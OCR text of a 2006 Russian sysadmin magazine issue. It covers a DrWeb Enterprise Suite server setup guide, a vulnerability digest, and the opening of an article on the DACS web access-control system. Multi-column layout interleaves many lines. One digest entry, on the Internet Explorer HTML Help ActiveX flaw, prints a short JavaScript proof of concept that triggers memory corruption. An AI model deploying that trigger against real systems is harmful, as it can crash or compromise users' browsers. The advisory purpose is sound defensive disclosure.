 «ООО «Доктор Веб» – DrWeb Enterprise Suite [7]. для Debian [17]):
 «Лаборатория Касперского» – Kaspersky Corporate
Suite [8]. $ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵
drweb-es-4.33-200510280-linux-debian-sarge.tar.gz
$ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵
Последние два продукта выпускаются отечественны- drweb-es-4.33-200510280-unices.tar.gz
$ tar xzvf drweb-es-4.33-200510280-linux-debian-sarge.tar.gz
ми компаниями. $ tar xzvf drweb-es-4.33-200510280-unices.tar.gz
Что из себя представляет антивирусное программное
обеспечение масштаба предприятия? Это в первую оче- Создаем группу и пользователя в системе, от имени
редь специализированный продукт, к примеру, от одной которого будет запускаться серверная часть антивирус-
из вышеперечисленных компаний. Во-вторых, это клиент- ного пакета:
серверный программный комплекс, задача серверной час-
ти в котором – обеспечивать централизованное обновле- # groupadd drwcs
# adduser drwcs
ние по сети антивирусного обеспечения для клиентов, вес-
ти журнал, где учитывается, на какой именно рабочей стан- В директорию /opt копируем содержание распакованно-
ции произошел тот или иной случай инфицирования, а так- го архива drweb-es-4.33-200510280-unices.tar.gz:
же некоторые другие события. А задача клиентской час-
ти, которая была предварительно установлена на рабочей # cp -R opt /opt/drwcs
# chown -R drwcs:drwcs /opt/drwcs
станции, – предотвращать «инфекции», производить «ле-
чение». В целом общий функционал у всех решений оди- На этом шаге установка почти завершена. Будучи ком-
наков. Что же касается деталей, то здесь намного интерес- мерческим продуктом, DrWeb Enterprise Suite не будет рабо-
нее, т.к. приходится рассматривать такие критерии, как со- тать без ключа активации. Ключ генерирует дилер компа-
отношение цена/качество, сертификация в отечественных нии или сама компания на срок подписки, например, на год.
агентствах по информатизации, возможность использова- В нем также учитывается, для скольких клиентских мест
ния на объектах повышенной секретности и т. п. куплена поддержка. Будем считать, что ваша компания
Наша компания остановила свой выбор на антивирус- купила поддержку для 100 рабочих мест, ключ передан по
ном пакете DrWeb. Легковесный антивирус – размер анти- электронной почте или другим способом. Переносим его на
вирусного клиента, устанавливаемого на рабочем месте, наш Linux-сервер. Будем считать, что файл – enterprise.key –
достаточно компактен – несколько мегабайт. Есть русский находится на вашей рабочей станции UNIX и передаваться
язык. И что немаловажно – грамотная техническая подде- будет по SSH-протоколу.
ржка. Вполне возможно, что вам и не придется обращаться
за помощью, т.к. описания и документация, идущие с про- $ scp enterprise.key drwcs@drwcs.lan.net:/opt/drwcs/etc
дуктом, охватывают, пожалуй, все ключевые моменты, ко-
торые могут возникнуть. Однако в вашей организации в ка- Таким образом, мы передали по SSH-протоколу ключ ак-
честве настольного антивируса может выступать решение тивации, от которого зависит работа серверной части ком-
и другой компании, благо их на рынке не две и даже не три. плекса. Не лишним будет сказать, что данный ключ акти-
Выбор на самом деле более чем богатый. Наш выбор прохо- вации – секретная часть комплекса, которая используется
дил достаточно давно, и в целом работа продукта на протя- только на серверной стороне.
жении нескольких лет нас удовлетворяла, поэтому вполне Для работы комплекса следует еще сгенерировать
логичным был шаг, что в дальнейшем мы перешли на ком- приватный и публичный ключи. Что это такое и для чего
плексное решение – DrWeb Enterprise Suite. нужно?
Чтобы клиентская часть комплекса, которая устанавли-
Установка программного комплекса вается на рабочую станцию, смогла подключиться к серве-
С сайта компании загрузите серверную часть. В ее состав ру и быть им опознана, используется асимметричная схе-
входит и базовый комплект для агента – это ядро и те ан- ма криптования, в какой-то степени аналогичная PGP. С по-
тивирусные базы, которые были доступны на момент вы- мощью публичного ключа, который используется на рабо-

№8, август 2006 69

 безопасность
Рисунок 1. Консоль управления комплексом
чей станции, и приватного ключа, который находится не-
посредственно на сервера, происходит установка шифро-
ванного канала связи. По нему будут передаваться как са-
ми антивирусные базы и обновления от сервера к клиен-
ту, так и информация о заражении и статистика в обрат-
ном направлении.
$ cd /opt/drwcs
$ bin/drwsign genkey etc/drwcsd.pri etc/drwcsd.pub
$ chmod 600 etc/drwcsd.pri
$ chown drwcs:drwcs etc/drwcsd.pri
$ mv etc/drwcsd.pub Installer
И подготовьте еще один компонент – саму базу данных,
где будет храниться вся текущая информация о станциях,
вирусной активности, лечении и т. п.
$ bin/drwcsd -var-root=./var -verbosity=all ↵
-log=var/server.log initdb agent.key
База проинициализирована (см. документацию к про-
дукту [18]). Теперь подготовим стартовый скрипт для за-
пуска серверной части. У меня используется следующий
вариант.
Скрипт запуска/остановки серверной части для Slackware Linux
#!/bin/sh
DISTVER="Slackware 10.0"
BIN=/opt/drwcs
case "$1" in
start)
cd $BIN
echo -n "Starting DRWEB Engine ..."
su - drwcs -c "$BIN/bin/drwcsd -home=$BIN ↵
-var-root=$BIN/var -verbosity=all ↵
-log=$BIN/var/server.log -rotate=5,500000 ↵
-daemon -pid=$BIN/var/drwebd.pid"
echo -e " Done"
;;
stop)
echo -n "Stopping DRWEB Engine ..."
killall -15 drwcsd-unsafe
echo -e " Done"
;;
restart)
$0 stop
$0 start
;;
echo "Usage: $0 {start|stop|restart}"
exit 1
70
esac
exit 0
Хотя официально Slackware Linux не поддерживается,
однако совместимость GLIBC-библиотеки (2.3.2) на мо-
ей системе с Debian-системой, для которой уже есть ар-
хив на сайте фирмы, позволила развернуть антивирусный
комплекс и на этой системе.
На этом серверная часть готова. Запускаете серверную
часть с помощью скрипта /etc/rc.d/rc.drwebd:
# /etc/rc.d/rc.drwebd start
Следующим шагом подготовьте установочные файлы
для инсталляции на рабочих местах. Я поступил вот как –
сделал самораспаковывающийся архив, в который я по-
местил файлы: drwinst.exe, drwcsd.pub, drwebc.bat. Первый
файл – это инсталлятор, задача которого зарегистрировать
рабочую станцию на сервере с помощью публичного ключа
сервера (второй файл). А затем загрузить с сервера необхо-
димые антивирусные обновления. Третий файл – пакетный,
в котором хранится IP-адрес антивирусного сервера.
drwinst.exe -interactive -verbosity=all drwcs.lan.net
Не обязательно явно указывать адрес для сервера,
т.к. установочный компонент посылает в сеть multicast-за-
просы, с помощью которых и определяется нужный IP-адрес
сервера. Однако в сети со множеством маршрутизаторов
и роутеров, лучше использовать явное задание адреса.
Самораспаковывающийся архив я разместил на веб-
странице сервера, так что, кроме самого DrWeb Enterprise
Suite, на Linux-сервере еще крутится и Аpache-сервер. Ре-
шение достаточно удобно, ибо на рабочем месте запуска-
ется Internet Explorer, с помощью которого загружается ар-
хив. Затем архив распаковывается и запускается файл
drwebc.bat.
После регистрации рабочих станций основная работа
уже происходит на станции, с которой управляется антиви-
русный комплекс. Данная работа производится через кон-
соль управления (см. рис. 1).
Все рабочие станции можно разбить на отдельные груп-
пы, для каждой из которых составить правила, в частнос-
ти, расписание на ежедневное или еженедельное скани-
рование, политика локального доступа с рабочих стан-
ций, т.е. можно ли останавливать клиентскую часть или не-
льзя и т. п.
Все станции, которые в данный момент включены, на-
ходятся в группе Online. Те же, которые выключены, нахо-
дятся в группе Offline.
Как я уже отмечал, за непосредственную защиту от-
вечает клиентская часть комплекса (Enterprise Agent), ко-
торая представлена 3 компонентами: Dr.Web Scanner for
Windows, Spider Guard for Windows и Spider Mail for Windows
Workstations. Первый компонент предназначен для скани-
рования рабочей станции, может быть запущен как с самой
рабочей станции, так и с операторской консоли управления.
Второй компонент отвечает за проверку всех тех файлов,
к которым происходит обращение операционной системы
 безопасность
в режиме runtime. Третий компонент от-
вечает за проверку входящей и исходя-
щей почты. То есть как только вы начи-
наете получать email с помощью почто-
вого клиента, то все входящие сообще-
ния будут проверены еще и этим ком-
понентом.
Чем хороша статистика, так это тем,
что вы точно знаете, где и когда произо-
шел факт инфицирования (см. рис. 2).
А также названия наиболее «популяр-
ных» вирусов в вашей организации, ко-
торые были излечены (а иначе отку-
да бы вы знали об их существовании?).
Это здорово, когда организация неболь-
шая и подключений к глобальным сетям
нет. Однако и в таких условиях вероят-
ность того, что на ПЭВМ организации
есть хотя бы один макровирус в доку- Рисунок 2. Статистика по группе «Online».
ментах Microsoft Word, в различного ро-
да архивах, которые принесли сотрудники из дома, от зна- Согласно расписанию происходит обновление комплек-
комых или еще откуда-нибудь, будет отличаться от нуле- са. Однако что именно обновлять? Чтобы узнать это, сто-
вой. Лучше изначально считать, что «пациент скорее ин- ит заглянуть в пункт «Administration → Configure Repository».
фицирован, нежели здоров». Однако и панику разводить, Репозитарий представлен 5 частями: сам сервер, антиви-
конечно же, не стоит. русные базы, клиентская часть, консоль управления, агент.
Серверная часть антивирусного комплекса периоди- В настройках репозитария можно указать proxy-сервер, че-
чески производит действия, указанные в расписании. На- рез который вы выходите в Интернет и через который будут
пример, каждый час происходит проверка на наличие но- забираться новые версии продукта. Допустимо настраивать
вых обновлений и антивирусных баз. На рис. 3 приведе- репозиторий как по отдельным компонентам, так и в це-
но расписание, которое будет использовано по умолча- лом (см. рис. 4, 5).
нию. Вы можете изменить его, добавив новый пункт или Работа над программным комплексом ведется посто-
изменить время, когда необходимо производить те или янно, и появляются все новые и новые функции. Когда я
иные действия. только начал работать с Enterprise Server, многих функ-
ций просто не было. Например, не было просмотра теку-
щей загруженности сервера, не было статистики по сум-
марному трафику, прошедшему через антивирусный сер-
вер и т. п. В новой версии (речь идет о 4.33) они представ-
лены и, как мне кажется, очень удачно вписываются в об-
щую картину (см. рис. 6, 7).
Рассказ был бы неполным, если бы я не упомянул о том,
как делать регулярную выгрузку базы. Какая цель здесь
Рисунок 3. Расписание сервера.
преследуется? Во-первых, самое ценное в работе антиви-
русного пакета – это информация о зарегистрированных
станциях, точнее о hash-ключах, которые формируются
при регистрации. Она хранится как на станции, так и в ба-
зе антивирусного сервера. Отчасти по этим ключевым дан-
ным происходит «узнавание» зарегистрированных станций.
Во-вторых, знать, когда и где произошла «эпидемия» так-
же важно. Поэтому даже если физически произойдет от-
каз сервера и у вас будет резервная копия антивирусной
базы, то ввод в эксплуатацию нового серверного «желе-
за», взамен отказавшего займет довольно короткое вре-
мя. Не нужно будет заново регистрировать станций. Смот-
рите файл export_idb.sh.

Скрипт для выгрузки внутренней БД

#!/bin/sh

#########################################################
Рисунок 4. Компонент репозитория «Enterprise Agent». # Exporting internal DrWEB DB into .SQL dump script

№8, август 2006 71

безопасность
export LC_ALL="C"

$DRWENGINE stop
echo "Engine Stopped";

echo "Sleep 10 seconds";

sleep 10s;

OUTPUT=`$ECHO IDB.$($DATE +%d_%b_%Y_-_%k_%M).sql.bz2`;

echo "Exporting Internal DrwebDB into $OUTPUT ↵
.sql script";

Рисунок 5. Общая настройка репозитория подразумевает $IDBSH $IDB ".dump" | $BZ2 > $OUTPATH$OUTPUT
глобальную настройку.
echo "DrWEB IntDB dumped"

$DRWENGINE start

Осталось добавить в cron новое расписание и вуаля!

50 0 * * * /root/System/export_idb.sh > /dev/null 2>&1

Рисунок 6. Суммарная статистика сервера.
В качестве заключения
Несмотря на то что существует множество альтернативных,
как коммерческих, так и бесплатных антивирусных про-
граммных решений, стоит отметить, что компания «ООО
«Доктор Веб» была одной из первых, кто предложил по-
добную методологию антивирусного управления. Что ка-
сается качества программного кода, а именно безаварий-
ность в работе рабочих станций при развертывании систе-
мы и/или переходе со старой версии комплекса на новую,
то в этой ситуации стоит понимать простые истины. Как и
везде существуют стадии проверки и отладки, так и у рас-
смотренного комплекса есть beta-версии, задача которых
«отловить» острые моменты и устранить их. Если придер-
живаться принципа здорового консерватизма и развер-
тывать систему в стадии stable, то это позволит вам чи-
тать страшные истории о последствиях установки систе-
мы с улыбкой на устах.
На этом всё, успехов!

1. http://www.symantec.com.
2. http://www.esetnod32.ru/products/ee.htm.
3. http://www.sophos.com/products/es.
4. http://www.mcafee.com/us/enterprise/index.html.
5. http://www.f-secure.com/small_businesses/products/fsavwks.
html.
6. http://www.panda-antivirus.ru/images2/panda-prod.html.
7. http://solutions.drweb.com/business/esuite – Drweb Enterprise
Suite.
8. http://www.kaspersky.ru/products?chapter=145665459.
9. ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280-
linux-debian-sarge.tar.gz.
10. http://www.drweb.ru/download/627 – документация к продукту
Рисунок 7. Графические данные. Drweb ES.
11. http://www.kaspersky.ru/corporatesolutions – Kaspersky Corporate
# 28 Sep 2005, AB Suite.
#########################################################
12. http://www.f-secure.com/products/anti-virus/enterprisesuite.
DATE=/usr/bin/date 13. http://eset.com/products/enterprise_edition.php.
IDBSH=/opt/drwcs/bin/drwidbsh
IDB=/opt/drwcs/var/dbinternal.dbs 14. http://www.sophos.com/products/es/endpoint-server/security.
BZ2=/usr/bin/bzip2 html.
ECHO=/usr/bin/echo
DRWENGINE=/etc/rc.d/rc.drwebd 15. http://www.mcafee.com/us/enterprise/products/security_suite_
solutions/total_protection_solutions/total_protection_enterprise.
OUTPATH=/root/System/drweb/
html.

72

Переполнение буфера в DHCP-клиенте
в Microsoft Windows
Программа: Microsoft Windows 2000, Microsoft Windows XP,
Microsoft Windows 2003.
Опасность: Критическая.
Описание: Уязвимость существует из-за ошибки провер-
ки границ данных в DHCP-клиенте при обработке DHCP-от-
ветов. Удаленный пользователь может послать специаль-
но сформированный DHCP-пакет и выполнить произволь-
ный код на целевой системе.
URL производителя: www.microsoft.com.
Решение: Установите исправление с сайта производи-
теля.
Целочисленное переполнение буфера
в libwmf
Программа: libwmf 0.2.8.4, возможно, другие версии.
Опасность: Высокая.
Описание: Целочисленное переполнение буфера сущест-
вует из-за отсутствия проверки входных данных, получен-
ных из WMF-файла. Удаленный пользователь может с по-
мощью специально сформированного WMF-файла вызвать
переполнение динамической памяти и выполнить произ-
вольный код на целевой системе.
URL производителя: wvware.sourceforge.net/libwmf.html.
Решение: В настоящее время способов устранения уязви-
мости не существует.
Переполнение буфера в WinRAR
Программа: WinRAR 3.60 beta 6, возможно, более ран-
ние версии.
Опасность: Высокая.
Описание: Уязвимость существует из-за ошибки при об-
работке самораспаковывающихся SFX-архивов. Удален-
ный пользователь может с помощью специально сформи-
рованного архива вызвать переполнение буфера и выпол-
нить произвольный код на целевой системе.
URL производителя: www.rarlab.com.
Решение: В настоящее время способов устранения уязви-
мости не существует.
Целочисленное переполнение буфера
в Apple iTunes
Программа: Apple iTunes версии до 6.0.5.
Опасность: Высокая.
Описание: Целочисленное переполнение буфера сущест-
вует из-за ошибки при обработке AAC-медиафайлов (.M4A
и .M4P), содержащих специально сформированное зна-
чение sample_size_table. Удаленный пользователь может
с помощью специально сформированного AAC-файла вы-
звать повреждение памяти и выполнить произвольный код
на целевой системе.
URL производителя: www.apple.com/itunes.
Решение: Установите последнюю версию (6.0.5) с сайта
производителя.
№8, август 2006
bugtraq
Переполнение буфера при обработке
JPEG-изображений в Opera
Программа: Opera 8.54, возможно, более ранние версии.
Опасность: Критическая.
Описание: Целочисленное переполнение буфера сущест-
вует из-за ошибки при обработке JPEG-изображений. Уда-
ленный пользователь может с помощью специально сфор-
мированного JPEG-изображения выполнить произвольный
код на целевой системе.
URL производителя: www.opera.com.
Решение: Установите последнюю версию (9.0) с сайта про-
изводителя.
Переполнение буфера в службе Server
Программа: Microsoft Windows 2000, Microsoft Windows XP,
Microsoft Windows 2003.
Опасность: Критическая.
Описание: 1. Переполнение буфера существует в драйве-
ре SRV.SYS службы Server при обработке Mailslot-сообще-
ний. Удаленный пользователь может с помощью специаль-
но сформированного пакета вызвать отказ в обслуживании
или выполнить произвольный код на целевой системе.
2. Уязвимость существует из-за некорректной иници-
ализации буфера при обработке SMB-пакетов. Удален-
ный пользователь может с помощью специально сформи-
рованного SMB-пакета просмотреть некоторые фрагмен-
ты памяти.
URL производителя: www.microsoft.com.
Решение: Установите исправление с сайта производи-
теля.
Повреждение памяти в HTML Help
ActiveX-компоненте в Internet Explorer
Программа: Microsoft Internet Explorer 6.x.
Опасность: Высокая.
Описание: Уязвимость существует из-за ошибки в HTML
Help ActiveX-компоненте (hhctrl.ocx) при обработке свойс-
тва Image. Удаленный пользователь может установить не-
сколько раз слишком длинную строку для уязвимого свойс-
тва, вызвать повреждение памяти и выполнить произволь-
ный код на целевой системе.
Пример:
function Demo() {
var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;
for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}
}
<input type='button' onClick='Demo()' value='Start Demo!'>
URL производителя: www.microsoft.com.
Решение: В настоящее время способов устранения уязви-
мости не существует.
Составил Александр Антипов
73
 web

Контролируем доступ
к веб-сервису с помощью DACS

Сергей Яремчук
Если для настольных систем проблему аутентификации и авторизации можно считать
решенной, то стандартные механизмы, используемые в веб-сервисах, пока еще
не удовлетворяют современным требованиям безопасности.

Недостатки базовой
и digest-аутентификаций
В протоколе HTTP предусмотрено два
типа аутентификации: basic и digest, ко-
торые определены в RFC 2617. Их ме-
ханизм очень подробно рассмотрен
в статьях Алексея Мичурина [1, 2]. Ос-
тановлюсь на недостатках.
Для базовой аутентификации са-
мым главным недостатком является пе-
редача пароля в открытом виде. И, кро- раняемой области. Не защищена basic-
ме того, веб-браузер запоминает эту схема и от перебора пароля.
информацию и передает ее серверу В digest-схеме эти проблемы час-
при каждом обращении, а если не очис- тично решены. По сети (опять же
тить кэш браузера, то возможно полу- при каждом обращении) передается
чить доступ к серверу без ввода паро- Response, который представляет со-
ля даже через неделю, месяц. Самое бой контрольную (обычно MD5) сумму
главное, что у злоумышленника всегда от комбинации логина, пароля, запра-
будет возможность перехватить логин шиваемого URL, метода HTTP и строки
и пароль и получить доступ ко всей ох- nonce, генерируемой сервером при от-

74
 web
вете. Все параметры, кроме последне- всей системы через некоторое время вать и удостоверить себя DACS. Обыч-
го, теоретически можно попробовать можно будет уже не говорить. но для этого применяется пара логин
либо угадать, либо подобрать, поэто- и пароль, но может быть использован
му от алгоритма генерирования nonce Знакомство цифровой сертификат или оба этих ме-
во многом зависит уникальность всей с системой DACS тода одновременно. Здесь пока ниче-
комбинации. Хотя здесь также воз- Система веб-аутентификации и уп- го не обычного. Отличие заключается
можны варианты. Например, включе- равления доступом DACS (Distributed в том, что система доступа DACS осу-
ние в nonce метки времени позволя- Access Control System) представляет со- ществлена при помощи ролевой моде-
ет не только сделать ее уникальной, бой набор программ, позволяющих ог- ли RBAC (role-based access control). Поэ-
но и контролировать время отклика, раничить доступ пользователей к лю- тому здесь логин не равен identity, поль-
использование клиентского IP-адреса, бому ресурсу популярного веб-сервера зователь может быть ассоциирован
откуда идут запросы, добавив счетчик Apache. Начало разработок датировано сразу с несколькими identity, и, наобо-
соединений и контролировать количес- маем 2001 года. Дизайном, внедрением рот, identity может описывать не только
тво запросов, сделанных конкретным и поддержкой занимается небольшая логин и системное имя (т.е. фактичес-
клиентом. К сожалению, современ- канадская фирма-разработчик DSS ки имя процесса), но и другие парамет-
ные веб-серверы и браузеры пока еще (Distributed System Software) при содейс- ры (роль, IP-адрес, группу и пр.). Прави-
не полностью поддерживают все спе- твии Metalogic Software Corp. В настоя- ла контроля доступа, задаваемые ад-
цификации и рекомендации. Поэтому щее время DACS является ключевым министратором, позволяют точно ука-
если информация действительно име- компонентом канадской государствен- зать кто, что и при каких условиях будет
ет ценность, то многие вопросы можно ной информационной системы (National использовать ресурс. Поддерживается
решить, применив в защищаемой об- Forest Information System, NFIS). и анонимный, т.е. неавторизированный
ласти протокол SSL. Последние версии DACS распро- доступ к ресурсу.
Это взгляд со стороны сети. Ад- страняются под двойными лицензион-
министрирование при использовании ными условиями: свободной и коммер- Сredentials
как basic, так и digest-методов мож- ческой. Если вы распространяете про- Пользователю, успешно прошедше-
но назвать простым, но только в слу- дукт, базирующийся на DACS, он дол- му процедуру аутентификации, пре-
чае когда количество пользовате- жен быть Open Source, иначе вы долж- доставляется криптографически за-
лей или защищаемых ресурсов отно- ны приобрести коммерческую лицен- щищенное удостоверение (credentials),
сительно мало. Для ограничения до- зию. Но если DACS просто использу- которое является неким аналогом би-
ступа достаточно поместить в нуж- ется в работе, без распространения, лета (tiket), используемого в системе
ный каталог файл .htaccess и создать то коммерческая лицензия не нужна. Kerberos. Такое удостоверение в даль-
файл с паролями при помощи htpasswd Но хотя DACS и может распространять- нейшем подтверждает полномочия
или htdigest. Если же каталогов мно- ся под Open Source-лицензией, проект пользователя. Внутри удостоверения
го, лучше все описания собрать в од- таковым не является. За все разработ- может содержаться имя пользовате-
ном месте, т.е. файле конфигурации ки отвечает только небольшая группа, ля, роль, IP-адрес, с которого пользо-
веб-сервера. хотя исправления от пользователей ватель зарегистрировался и куда был
Еще одно отличие digest от basic- принимаются. отправлен credentials, и время жизни.
метода заключается в том, что пер- Первоначальная задача, на реше- Пароль, как видите, не входит в состав
вый различает закрытые зоны (в пре- ние которой был ориентирован DACS, – удостоверения. При такой схеме ис-
делах сервера), и пользователю при это упрощение использования и адми- пользование пароля внутри credentials
переходе между каталогами в одной нистрирования совместных веб-ресур- не является необходимым. Для макси-
зоне не надо повторно проходить про- сов с сохранением максимальной безо- мального удобства и лучшего взаимо-
цедуру аутентификации. Вот и все воз- пасности. Используемая в DACS сис- действия credentials обычно возвраща-
можности. Но сегодня не редка ситуа- тема аутентификации и авторизации ется пользователю в виде cookie, ко-
ция, когда в одной компании имеется позволяет очень точно установить па- торый по умолчанию использует спе-
несколько веб-серверов, которые рас- раметры доступа и отслеживать взаи- цификации Netscape, но при необхо-
положены в разных, подчас террито- модействие пользователей с сервером. димости синтаксис можно изменить
риально разнесенных подразделени- Конструктивно DACS состоит из моду- в конфигурационном файле специ-
ях, и управляемых разными админис- ля Apache (mod_auth_dacs), через ко- альной директивой COOKIE_SYNTAX.
траторами. Пользователи в зависи- торый веб-сервер связывается с DACS, Передача credentials всегда происхо-
мости от своих обязанностей должны для определения разрешений доступа дит через SSL, что затрудняет его пе-
иметь доступ к строго определенным к ресурсу, блока программ CGI, обеспе- рехват и повторное использование.
ресурсам на каждом из них. Учитывая, чивающих веб-сервис DACS, и набора Куки являются основным и рекомен-
что работники компании могут перехо- утилит, выполняющих административ- дуемым способом, хотя в принципе
дить из отдела в отдел, увольняться, ные и вспомогательные функции. Поль- могут быть использованы и дополни-
администраторам придется согласо- зователи в системе DACS представле- тельные расширения HTTP, например,
вывать все рабочие моменты по выда- ны тождествами (identity). При полу- описанные в RFC 2617 посредством
че разрешений на доступ и удалению чении доступа к защищенной облас- WWW-Authenticate, либо применены
пользователей, иначе о безопасности ти он должен сначала идентифициро- другие методы безопасной передачи

№8, август 2006 75

 web
(VPN). При этом в состав DACS входят
утилиты, позволяющие самому созда-
вать credentials, или получать их с веб-
сервера для использования другими
(возможно, не веб-утилитами) при-
ложениями. Учитывая, что credentials
являются основой работы DACS, от-
ношение к их безопасности самое се-
рьезное. Так, например, кроме шиф-
рования самой куки, отдельно конт-
ролируется отсутствие модификации
при помощи хеша, где могут исполь-
зоваться различные алгоритмы HMAC
(Keyed-Hash Message Authentication
Code), 160-бит NIST, SHA-1 или MD5.
Ключ применяется отличный от ис-
пользуемого при шифровании само-
го удостоверения. Также кэш-каталог,
в котором лежит текущий credentials,
должен обязательно принадлежать то-
му же пользователю, на чье имя выпи-
сано удостоверение. И только он дол-
жен иметь доступ в используемый ка-
талог. Если это не так, во избежание
попытки использования credentials
посторонним, он должен быть отвер-
гнут. Аналогичная ситуация и при по-
пытке отправить credentials, созданный
для другого IP-адреса, при соответс-
твующих настройках сервер его отвер-
гнет и запросит повторную аутентифи-
кацию, и в том случае когда она прой-
дет успешно, создаст новый credentials
с новыми параметрами. Хотя такой ме-
тод защиты, естественно, не подходит
для тех случаев, когда адрес может из-
меняться (например, при модемном со-
единении) или пользователь находит-
ся за NAT. Запрещено также исполь-
зовать одному identity несколько дейс-
твительных credentials, такая ситуация
вызовет ошибку. И, как уже говори-
лось, все credentials могут иметь огра-
ниченное время жизни. По умолчанию
оно не установлено, и администрато-
ру следует его подобрать и выставить
самостоятельно, исходя из требований
безопасности и удобства. Если макси-
мальное время жизни не установле-
но, то в любом случае все credentials
будут уничтожены, только после того
как пользователь закроет окно браузе-
ра или нажмет на кнопку выхода. Если
аутентификация закончилась не удач-
но, могут быть использованы различ-
ные обработчики. Поэтому DACS мож-
но использовать для реакции на лю-
бые аварийные ситуации, например,
перенаправляя незарегистрирован-
76
ных пользователей на страницу с ли-
цензионным соглашением.
Юрисдикции и федерации
Дальнейший разговор будет бесполе-
зен, если не рассказать еще о двух цен-
тральных структурах в системе DACS.
Для удобства управления доступом
к ресурсам DACS различает два поня-
тия: юрисдикция (jurisdiction) и феде-
рация (federation). Юрисдикция явля-
ется минимальной автономной облас-
тью, которая представляет веб-услуги
и полностью отвечает за аутентифика-
цию своих пользователей и за доступ
к своим ресурсам. Территориально это
может быть как веб-сервер целиком,
так и его часть. Федерация является
следующей ступенью и включает в се-
бя одну (хотя если быть точнее, то две,
так как понятие федерации в этом
случае бессмысленно) или несколько
юрисдикций. Все юрисдикции, прина-
длежащие одной федерации должны
иметь уникальное имя. В пределах фе-
дерации все юрисдикции соглашают-
ся соблюдать определенные правила,
позволяющие сохранить безопасность
и одновременно повысить удобство ис-
пользования всей системы.
В федерации используется единый
для всех 128-битный (по умолчанию)
симметричный AES-ключ, а все юрис-
дикции обмениваются информацией,
позволяющей дешифровать, зашифро-
вывать и контролировать целостность
полученных credentials. Для пользова-
теля (identity) это означает, что один раз
подтвердив свои полномочия в юрис-
дикции, он может при наличии соот-
ветствующих разрешений без повтор-
ной регистрации получить доступ к ре-
сурсу, находящемуся в другой юрис-
дикции одной федерации. Таким обра-
зом, DACS поддерживает режим одно-
кратной регистрации (SSO – single sign-
on). Для администраторов упрощается
поддержка сервиса, так как теперь он
может следить за распределением ро-
лей только в своей юрисдикции. Общее
количество пользователей будет мень-
ше, так как не надо заводить дополни-
тельные акаунты на других серверах.
Администратор доверенного сервера
теперь будет решать, разрешать или
запрещать доступ к своим ресурсам
для определенных ролей, не вникая
в подробности. Но это еще не все, на-
чиная с версии 1.4.11 (март 2006) поя-
вился новый сервис dacs_auth_transfer,
позволяющий передавать credentials не
только между федерациями, но и дру-
гими, в том числе не-DACS-системами,
умеющими оперировать identity. В тер-
минологии DACS такие федерации на-
зываются присоединенными (affiliated)
федерациями (хотя фактически пере-
дача происходит между юрисдикция-
ми). При этом передача не обязательно
должна быть взаимной т.е. можно сво-
бодно переходить из федерации А в Б,
а наоборот необязательно. При переда-
че credentials конвертируется в новую
форму, которая будет признана другой
стороной, но оригинальные удостове-
рения у пользователя остаются и не из-
меняются. При возвращении пользова-
теля в родную федерацию ему опять
выдается credentials, но если выданный
ранее еще не закончил своего дейст-
вия, то он считается более сильным,
а новый признается недействитель-
ным. Передача происходит при помо-
щи SSL, тождество сервера проверяет-
ся при помощи сертификатов и IP-ад-
реса. Так как имя пользователя содер-
жит и название федерации, то при пе-
реходе в другую федерацию оно по-
прежнему остается уникальным.
Имена
Поскольку пользователь может сво-
бодно перемещаться между федера-
циями и юрисдикциями без повтор-
ной аутентификации, имя играет боль-
шую роль в системе DACS. Кроме того,
имя используется и для совместимости
с различными методами аутентифика-
ции. Поэтому в DACS принято несколь-
ко вариантов присваивания имени.
Имя текущей федерации описывается
в конфигурационном файле dacs.conf
в переменной FEDERATION_NAME.
При работе формат такой:
federation-name::
Имя юрисдикции задается при по-
мощи JURISDICTION_NAME, но в пра-
вилах оно состоит из имени федера-
ции, к которой она принадлежит, и име-
ни юрисдикции:
federation-name::jurisdiction-name:
Хотя для текущей федерации или
отсутствии федераций ее имя может
опускаться:
 web
::jurisdiction-name: и к группам, определенным другими ля ACS производит поиск правил, со-
юрисдикциями. ответствующих его тождеству. Здесь
Добавив третий компонент, полу- Например, такие пользователи может быть применено несколько ва-
чим имя пользователя: в правилах будут легитимными: риантов правил.
Иногда администратору нужно
federation-name:: ↵ user name="SALES:boss" быстро произвести какое то дейс-
jurisdiction-name:username user name="%SALES:admin"
user name="10.0.0.118" твие, не обращаясь к правилам. Ча-
Все имена чувствительны к регис- user name="192.168.0.0/24" ще всего необходимость такая возни-
user name="home.com"
тру (если это не переопределено спе- user name="HOME:" кает во временном отключении поль-
циальными директивами). Для удобс- user name="auth" зователя или целого участка сети.
user name="unauth"
тва федерации и юрисдикции пишутся Для этих целей в DACS применяется
заглавными буквами, а пользователи – Последние два правила описыва- т.н. revocation list. Такой список состо-
маленькими. Например, в credentials ют соответственно авторизированно- ит из линий, в каждой описан пользо-
имя заносится в таком виде: го и неавторизированного пользовате- ватель (все правила, указанные вы-
лей. Обратите внимание, что вот такие ше, естественно, и здесь соблюдают-
HOME::SALES:boss правила не равнозначны: ся) и действие. Действий предусмот-
рено всего два: deny и revoke. Первое
А можно и так: user name="auth" означает запрет доступа и окончание
user name="HOME:auth"
дальнейшей обработки revocation list.
::SALES:boss Первое соответствует всем успеш-Второе игнорирует полученное удос-
SALES:boss
:boss но зарегистрировавшимся пользова- товерение, делая пользователя фак-
телям, второе только принадлежащим тически неавторизованным, обработ-
В имени не должны встречаться к юрисдикции HOME. ка списка при этом продолжается. На-
знаки «* , : + ( ) ~ < > = | \ /» и «"». Все ос- Если использовать пользовате- пример:
тальные разрешены. Длина имен не ля any, то запрос о соответствии име- Запрет доступа неаутентифициро-
ограничена, здесь просто стоит под- ни в проверяемом правиле всегда бу- ванных пользователей:
ходить к процессу творчески, чтобы дет возвращать true. Также поддержи-
при большом количестве юрисдик- ваются и некоторые операции. Напри- deny user("unauth")
ций и федераций можно было понять, мер, такой конструкцией можно выде-
о ком речь. Имя пользователя при за- лить всех пользователей admin любой Сброс всех удостоверений:
просах передается как переменная юрисдикции:
DACS_USERNAME. revoke user("any")
Но это в credentials. В правила в па- user name="*:admin"
раметр user могут быть занесены груп- Запрет доступа на выходные:
пы, IP-адреса, сети и под сети. Имена или всем, кроме пользователя sergej:
группы образуются аналогично поль- deny time("wday") eq 6 or ↵
user("not *:sergej") time("wday") eq 0
зовательским, только на первом месте
должен стоять знак процента %. Сброс всех удостоверений кро-
